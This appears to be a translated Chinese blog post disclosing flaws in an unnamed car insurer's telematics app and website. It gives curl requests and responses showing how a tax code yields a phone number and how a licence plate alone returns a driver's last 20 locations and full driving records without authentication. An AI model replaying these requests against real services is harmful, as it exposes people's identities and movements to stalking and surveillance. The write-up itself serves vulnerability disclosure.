导语:车辆保险公司的网站和APP存在多个漏洞,只需要知道该汽车保险公司的汽车许可证,就可以以获得所以用户的汽车配置信息,用户本人的信息以及行驶的详细数据当然也包括了具体的行驶位置。
许多汽车保险公司都会为用户的车上装备一个卫星设备,以便捕捉你的位置,随时提供安全保险服务。
通过在您的汽车上安装这样的设备,当然,汽车保险概述您的行为,但也可以帮助警察找到您的汽车,如果它被盗,你可能会得到一个很好的折扣保险价格(可以高达40%)。
随着智能手机的普及,目前许多公司还专门开发了自己的APP,以便更加紧密便捷地跟踪用户汽车。
当我在下载我购买保险品牌的APP时,我发现必须要进到Google Play中才能下载该程序。由于我是一个自由和开源软件 (FOSS)爱好者,所以我尝试使用FOSS过的APP。
幸运的是,由于我也是一个开发人员,因此,我可以只开发出我最需要的那部分应用程序,通过使用mitmproxy,我可以分析应用程序使用的API来编写我自己的客户端。
译者注:mitmproxy是一款支持SSL的HTTP代理,它可以用于调试HTTP通信,发起中间人攻击等。mitmproxy提供了一个控制台接口用于动态拦截和编辑HTTP数据包。
认证过程
在应用程序启动之后,用户需要经过身份验证才能进入APP,同时也就默认了APP对你的车辆跟踪。
认证时,APP首先要求你提交的纳税人的代码,当我把我的代码输入后,在mitmproxy的后台操作中出现了以下执行请求:
curl -X POST -d 'BLUCS§<taxpayers_code>§-1' http://<domain>/BICServices/BICService.svc/restpostcheckpicf<company>
而网页服务使用了我的手机号码进行回复:
2§<international_calling_code>§<cell_phone_number>§-1
到此为止,除了看到一些使用纯HTTP的丑陋格式和请求外,只需要3个参数就能获取手机号码,从上面的代码可以看出,这3个参数中的第一个和第三个参数都是常数。也就是说,在保持这两个参数不变的情况下,通过上述HTTP请求,如果我试着输入一个不存在的纳税人的代码,会得到什么:
-1§<international_calling_code>§§-100%
看来这样是可以得到一个手机号的,不过要确认它的有效性。
接下来,应用程序会要求我输入注册该手机号时所对应的登录密码,以确认所获得的手机号码的有效性,在这里我要特别说明一下,我已经提前通过电邮向保险公司设定了该手机号所对应的登录密码:
curl -X POST -d 'BLUCS§<taxpayers_code>§<device_imei>§<android_id>§<device_brand>-<device_model>_unknown-<api_platform>-<os_version>-<device_code>§<cell_phone_number>§2§<password>§§-1' http://<domain>/BICServices/BICService.svc/restpostsmartphoneactivation<company>
网页服务的响应如下:
0§<some_code>§<my_full_name>
由于some_code参数每次都会发生更改,因此我可以用它来作为客户端标识。经过以上这一系列的操作后,APP就获得了该手机号的所有功能权限。
在mitmproxy中实现汽车的跟踪
在mitmproxy中实现的汽车跟踪功能可以通过存储的数据,检索出你最近所到过的20个地方,你是不是很好奇这都是怎么实现的?下面就让我来分析一下由APP所发出的请求:
curl -X POST -d 'ASS_NEW§<car_license>§2§-1' http://<domain>/BICServices/BICService.svc/restpostlastnpositions<company>
网页服务端的响应如下:
0§20§<another_code>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>
可以看到这段响应,既没有标题也没有cookie,更没有认证参数。与我的假设一样,在mitmproxy中,你只需要一个汽车汽车许可证,就能得到最近所到过的20个地方的响应。
如果真是这样,那用户的隐私漏洞岂不是太大了,我开始怀疑是不是我在一开始操作的时候就把我的IP存储在了网页服务端,从而让这些IP获取了我的这些位置数据,所以为了打消这个疑虑,我尝试了从一个VPN 来连接网页服务端,结果和刚刚的数据显示效果是一样的。
最后,我只能试着用一个并不存在的汽车许可证,来进行测试,得到的响应如下:
-2§TARGA NON ASSOCIATA%
可以看出,该车牌并没有得到保险公司数据库的响应,所以我可以确定地推测出,只有输入正确的车牌号才是获取用户位置的前提,那怎样才能得到每个保险公司下的这些汽车许可证呢?
由于所有购买该保险公司的汽车许可证都会储存在保险公司的数据库,所以这些都是很容易实现的,而且这些数据还包括了每个汽车许可证最近到访过的20个地方。
网页客户端的响应过程
由于我购买的这个汽车保险公司还提供了网页客户端,以便让用户允许更方便的操作,所以我就通过网页登录来分析刚刚发出的那些请求,我发现,并且这些网页分别托管在不同的域上,并且对用户的任何请求,都会用到cookie,其中,有一个我上面所描述的请求响应是不需要任何认证的,这引起了我的注意:
curl http://<domain>/<company>/(S(<uuid>))/NewRemoteAuthentication.aspx?RUOLO=CL&ID=<another_code>&TARGA=<car_license>&CONTRATTO=<foo>&VOUCHER=<bar>
这一个用网页客户端显示的HTML页面进行的回复:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD> <title>NewRemoteAuthentication</title> <meta name="GENERATOR" Content="Microsoft Visual Studio .NET 7.1" /> <meta name="CODE_LANGUAGE" Content="C#" /> <meta name="vs_defaultClientScript" content="JavaScript"/> <meta name="vs_targetSchema" content="http://schemas.microsoft.com/intellisense/ie7" /> <!--<meta content="IE=EmulateIE10" name="ie_compatibility" http-equiv="X-UA-Compatible" />--> <meta name="ie_compatibility" http-equiv="X-UA-Compatible" content="IE=7, IE=8, IE=EmulateIE9, IE=10, IE=11" /> </HEAD> <body> <form name="Form1" method="post" action="/<company>/(S(<uuid>))/NewRemoteAuthentication.aspx?RUOLO=CL&ID=<another_code>&TARGA=<car_license>" id="Form1"> <input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwULLTIwNzEwODIsJFNAgEPKAJDIeBsdSpc2libGVnZGRic5McHC9+DqRx0H+jRt5O+/PLtw==" /> <iframe id="frm1" src="NewRicerca.aspx" width="100%" height="100%"></iframe> <SCRIPT language="JavaScript"> <!-- self.close // --> </SCRIPT> </form> </body> </HTML>
这里包含一个iframe,而且该iframe还是外部链接:
从这个页面我可以得到的用户保险信息如下:
1.购买保险的用户全名
2.汽车型号和品牌
3.汽车行驶的总里程
4.汽车的驾驶次数
5.汽车每月的驾驶次数
6. 汽车每日的驾驶细节(行驶路径,日期和时间);
7.每月的行驶统计数据(包括多久使用一次汽车)
从上图可以看出,从安装了卫星设备那一刻开始,以上的这些统计信息就开始被保险公司收集了,而且我所列的这些信息只是其中的一部分而已。
更为可怕的是,保险公司的APP请求不需要任何身份验证,就像我们以上所讲的那些请求过程一样,我只需要把一些我知道的参数填进去就可以了,而且并不是每一项参数都必须填报完整。所以,我在编写代码时,就把那些多余的参数删掉,只留必须的那部分。
代码简化成了下面这样:
curl http://<domain>/<company>/(S(<uuid>))/NewRemoteAuthentication.aspx?RUOLO=CL&ID=<another_code>&TARGA=<car_license>
但是还有一个another_code参数存在其中,不过它看起来像我以前所用的的一个数字参数,我试了一下,果然可以运行成功!
所以,http://<domain>/<company>/(S(<uuid>))/NewRicerca.aspx是真正显示所有信息的页面,但前提是如何得到这个uuid处的参数呢?
我先尝试删除它,虽然最终只得到了空白页面,但该页面已经知道了我正在寻找的参数。
所以,现在我认为通过NewRemoteAuthentication.aspx页面能得到我所需要的参数,于是我再度尝试删除该url的uuid,令我惊讶的是,它将我又重定向到刚刚的url,但同时又填充了uuid部分的参数,现在我可以使用这个uuid调用NewRicerca.aspx页面来查看所有信息了。
总结
我只需要知道该汽车保险公司的汽车许可证,就可以以获得所以用户的汽车配置信息,用户本人的信息以及行驶的详细数据当然也包括了具体的行驶位置。